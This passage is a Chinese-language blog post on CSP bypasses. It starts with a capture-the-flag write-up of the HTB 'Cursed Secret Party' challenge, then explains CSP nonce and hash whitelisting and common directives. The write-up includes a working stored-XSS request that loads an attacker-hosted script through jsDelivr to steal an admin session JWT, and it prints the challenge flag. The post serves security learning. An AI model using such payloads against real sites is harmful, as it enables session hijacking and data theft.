Skip to content

CSP规则绕过与题目分析

BX

CSP规则绕过与题目分析

目前记录这么些,感觉是一个十分深入的东西后面再补充

关键点: CSP 本质不是 “防御 XSS 的根工具”,而是 “XSS 的缓冲/减轻机制”

HTB 中相关题目分析

Cursed Secret Party 诅咒的秘密派对

You’ve just received an invitation to a party. Authorities have reported that the party is cursed, and the guests are trapped in a never-ending unsolvable murder mystery party. Can you investigate further and try to save everyone?
你刚刚收到一份派对邀请。当局报告称,这个派对被诅咒了,客人们被困在一个永无止境且无法解决的谋杀之谜派对中。你能进一步调查并尝试拯救所有人吗?

我们先进行一些代码分析

先找到 flag 的具体位置

bot.js

const fs = require('fs');
const puppeteer = require('puppeteer');
const JWTHelper = require('./helpers/JWTHelper');
const flag = fs.readFileSync('/flag.txt', 'utf8');

const browser_options = {
	headless: true,
	args: [
		'--no-sandbox',
		'--disable-background-networking',
		'--disable-default-apps',
		'--disable-extensions',
		'--disable-gpu',
		'--disable-sync',
		'--disable-translate',
		'--hide-scrollbars',
		'--metrics-recording-only',
		'--mute-audio',
		'--no-first-run',
		'--safebrowsing-disable-auto-update',
		'--js-flags=--noexpose_wasm,--jitless'
	]
};

const visit = async () => {
    try {
		const browser = await puppeteer.launch(browser_options);
		let context = await browser.createIncognitoBrowserContext();
		let page = await context.newPage();

		let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag });
		await page.setCookie({
			name: 'session',
			value: token,
			domain: '127.0.0.1:1337'
		});

		await page.goto('http://127.0.0.1:1337/admin', {
			waitUntil: 'networkidle2',
			timeout: 5000
		});

		await page.goto('http://127.0.0.1:1337/admin/delete_all', {
			waitUntil: 'networkidle2',
			timeout: 5000
		});

		setTimeout(() => {
			browser.close();
		}, 5000);

    } catch(e) {
        console.log(e);
    }
};

module.exports = { visit };

把 flag 直接加载到 admin 的 jwt 中

所以说我们能拿到 admin 的 cookie 就能获得 flag,问题是找能拿到 cookie 的点

题目基本框架

看一下这个 admin.html 文件

<html>
  <head>
    <link rel="stylesheet" href="/static/css/bootstrap.min.css" />
    <title>Admin panel</title>
  </head>

  <body>
    <div class="container" style="margin-top: 20px">
      {% for request in requests %} 
      <div class="card">
        <div class="card-header"> <strong>Halloween Name</strong> : {{ request.halloween_name | safe }} </div>
        <div class="card-body">
          <p class="card-title"><strong>Email Address</strong>    : {{ request.email }}</p>
          <p class="card-text"><strong>Costume Type </strong>   : {{ request.costume_type }} </p>
          <p class="card-text"><strong>Prefers tricks or treat </strong>   : {{ request.trick_or_treat }} </p>

          <button class="btn btn-primary">Accept</button>
          <button class="btn btn-danger">Delete</button>
        </div>
      </div>
      {% endfor %}
    </div>

  </body>
</html>

这里看Halloween Name 的渲染

{{ request.halloween_name | safe }}

| safe关闭的自动转义,所以我们考虑使用halloween_name 参数作为攻击点

我们发现 index.js 设置了一些策略

CSP 安全策略

app.use(function (req, res, next) {
    res.setHeader(
        "Content-Security-Policy",
        "script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
    );
    next();
});

只接受本站或者https://cdn.jsdelivr.net的 js 脚本

允许从 jsDelivr CDN 拉脚本的话,我们可以构造一下,采用 XSS 攻击诱导获取 admin 的 jwt 得到 flag

后面发现一个其他人使用的一个好用的分析网站

可以利用这个网站去检测一下,安全策略的薄弱点

https://csp-evaluator.withgoogle.com/

利用这个网站提供的功能去做一个诱饵,支持 GitHub 代码

新建一个,然后按照对应规则

https://cdn.jsdelivr.net/gh/bx33661/demo@main/1.js

<script src="https://cdn.jsdelivr.net/gh/bx33661/demo@main/1.js"></script>

发包请求

POST /api/submit HTTP/1.1
Host: 94.237.55.43:52628
Accept: */*
Origin: http://94.237.55.43:52628
Referer: http://94.237.55.43:52628/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 174

{"halloween_name":"<script src=\"https://cdn.jsdelivr.net/gh/bx33661/demo@main/1.js\"></script>","email":"bx33661@qq.com","costume_type":"Pick one","trick_or_treat":"tricks"}

得到 admin 的 jwt,解 jwt 得到

{
  "username": "admin",
  "user_role": "admin",
  "flag": "HTB{d0n't_4ll0w_cdn_1n_c5p!!}",
  "iat": 1756959656
}

脚本与执行相关

几个概念

内联脚本

内联脚本就是,是指直接嵌入在HTML文档中的JavaScript代码,而不是通过外部文件引用的脚本。主要包括以下几种形式:

鼠标悬停

点击链接




###  CSP 里的 nonce 和 sha256 哈希白名单机制  
因为这个`'unsafe-inline'`太宽泛和不安全了,但是确实是需要一些内联脚本的,所以才用这个机制就可以精确的允许特定脚本的执行



### Nonce 机制  
> 这里没有具体说具体开发逻辑,说一下我个人思路
>

**nonce** = 一次性随机数  

具体示例如下

HTTP 响应头

```html
Content-Security-Policy: script-src 'self' 'nonce-randombx33661'

在 HTML 中

<script nonce="randombx33661">
  console.log("只允许这个脚本执行");
</script>

然后效果就是

只有带上 nonce="randombx33661" 的内联脚本会被允许,其它没有 nonce 的内联脚本,包括简单注入的 <script>alert(1)</script>会被 CSP 拦掉。

具体配置代码,感觉能更好理解一下设计

// middleware: 生成随机 nonce
app.use((req, res, next) => {
  const nonce = require('crypto').randomBytes(16).toString('base64');
  res.locals.cspNonce = nonce;

  res.setHeader(
    'Content-Security-Policy',
    [
      "default-src 'self'",
      `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
      "object-src 'none'",
      "base-uri 'self'",
      "frame-ancestors 'none'",
      "style-src 'self' https://fonts.googleapis.com",   // 如需
      "font-src 'self' https://fonts.gstatic.com",       // 如需
      "img-src 'self' data:",                            // 如需 data: 图
      "connect-src 'self' https://api.example.com"       // 如需 AJAX
    ].join('; ')
  );
  next();
});

作为客户端,我们发起一个请求

服务端中间件生成随机 nonce(例如:abc123xyz),然后:

响应头:

Content-Security-Policy: 
  default-src 'self'; 
  script-src 'self' 'nonce-abc123xyz' 'strict-dynamic'; 
  object-src 'none'; 
  base-uri 'self'; 
  frame-ancestors 'none'

响应体 (HTML):

<!doctype html>
<html>
  <head>
    <title>Demo</title>
  </head>
  <body>
    <button id="btn">Click</button>

    <!-- 内联脚本,带 nonce -->
    <script nonce="abc123xyz">
      console.log("我是可信的脚本");
      document.getElementById('btn')
        .addEventListener('click', () => alert('OK'));
    </script>

    <!-- 外链脚本,带 nonce -->
    <script nonce="abc123xyz" src="/static/js/app.bundle.js"></script>

    <!-- 内联脚本,没有 nonce(会被拦截) -->
    <script>
      alert("我没有 nonce,会被 CSP 拦掉");
    </script>
  </body>
</html>

结果就是浏览器一边解析 HTML,一边对照 CSP:

sha256 哈希机制

就是给脚本内容计算哈希,然后写到 CSP 里。

HTTP 响应头:

Content-Security-Policy: script-src 'self' 'sha256-X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE='

HTML 里:

<script>
  console.log("只允许这个脚本执行");
</script>

浏览器会计算 <script> 内容的 SHA-256 哈希值,和 CSP 里的值对比,如果一致 → 允许执行,否则拦截。

其他常见 CSP 规则

CSP 的规则其实就是一组 “资源类型 → 允许来源” 的映射

一个示例

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-ABC123';
  style-src 'self' https://fonts.googleapis.com;
  font-src 'self' https://fonts.gstatic.com;
  img-src 'self' data:;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  form-action 'self';
  upgrade-insecure-requests;

记录一下 CSP 常见规则和使用说明

全局默认类

Content-Security-Policy: default-src 'self'

→ 所有资源(JS、CSS、图片等)都只能来自同源。

可以看一下 MDN 的文档

内容安全策略(CSP) - HTTP | MDN

样式相关


媒体资源相关


框架与子资源相关


表单与导航相关


连接相关

connect-src 'self' https://api.example.com
编辑这篇文章

评论区

使用 GitHub Discussions 驱动,欢迎留言交流。

上一篇
SSJI服务器端JavaScript代码注入学习与实践
下一篇
缓存机制学习&缓存投毒